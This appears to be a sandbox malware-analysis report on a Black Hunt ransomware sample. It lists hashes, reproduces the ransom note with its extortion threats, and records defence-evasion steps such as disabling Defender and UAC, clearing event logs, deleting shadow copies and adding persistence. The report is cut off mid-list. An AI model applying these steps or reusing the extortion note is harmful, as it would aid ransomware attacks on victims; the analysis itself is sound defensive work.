Analysis
- max time kernel
181s - max time network
191s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
19/01/2024, 01:32
Static task
static1
Behavioral task
behavioral1
Sample
fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe
Resource
win10v2004-20231215-en
General
- Target fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe
- Size 707KB
- Sample240119-bx32jsebb5
- SHA256 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37
- MD5 d7f158f47b902a30e0d1422e2b5ff79e
- SHA1 cffb66ff1c185c5f935581447f2dd6fd9c84baea
- SHA512 5e3c515acaedca37e13ef1aab4e6e1050c6360158db0e458fb6e595546d51b1778ac29c2cc2cfdc5e6100c192440430c04785509b392c4c44a47d3f69d00974d
- SSDEEP 6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1O83vnh:6uaTmkZJ+naie5OTamgEoKxLWNfh
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
C:\#BlackHunt_ReadMe.hta
- <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> hWeOfZ8mgZTi5Ir8 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
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http-equiv="x-ua-compatible"
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http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
- Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3096 fsutil.exe 4676 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe - Clears Windows event logs 1 TTPs 5 IoCs
pid Process 5980 wevtutil.exe 5136 wevtutil.exe 5976 wevtutil.exe 3616 wevtutil.exe 3512 wevtutil.exe - Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 3244 bcdedit.exe 4864 bcdedit.exe 2880 bcdedit.exe 2440 bcdedit.exe - Renames multiple (568) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2316 wbadmin.exe 1900 wbadmin.exe - Disables Task Manager via registry modification
- Disables use of System Restore points 1 TTPs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe - Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\L: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\V: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\U: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\W: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\P: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\O: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\A: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\N: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\M: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\E: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\G: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\H: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\K: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Q: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\Y: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\S: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\Z: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\T: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\J: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\X: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\R: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\B: fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened (read-only) \??\F: vssadmin.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 ip-api.com - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\7-Zip\Lang\uz-cyrl.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\ga\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\zipfs.jar fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\VideoLAN\VLC\COPYING.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xmlresolver.md fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\content-types.properties fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\resources.jar fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyDrop32x32.gif fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\UnblockRestart.3gpp fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\logging.properties fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\classlist fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program 